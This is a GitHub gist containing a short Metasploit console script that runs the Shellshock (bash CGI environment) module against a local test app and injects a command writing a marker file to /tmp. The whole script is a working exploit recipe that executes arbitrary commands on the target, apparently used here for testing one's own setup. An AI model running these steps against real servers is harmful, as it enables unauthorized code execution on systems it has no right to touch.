Forked from blasterpal/shellshock_metasploit_example.sh
Created
July 11, 2017 06:42
-
-
Save YourFriendCaspian/69f15bcbd5b8eb909910b19f0689a202 to your computer and use it in GitHub Desktop.
shellshock metasploit example use
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# setup metasploit from master on github: https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment | |
# good help on console and metasploit: http://www.offensive-security.com/metasploit-unleashed/Msfconsole | |
#start msfconsole | |
use auxiliary/scanner/http/apache_mod_cgi_bash_env | |
set VHOST app.local | |
set TARGETURI "/all" | |
set RPORT 3000 | |
set RHOSTS 127.0.0.1 | |
set CMD 'echo NOW `date` > /tmp/shellshock &' | |
run | |
#check for file,etc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment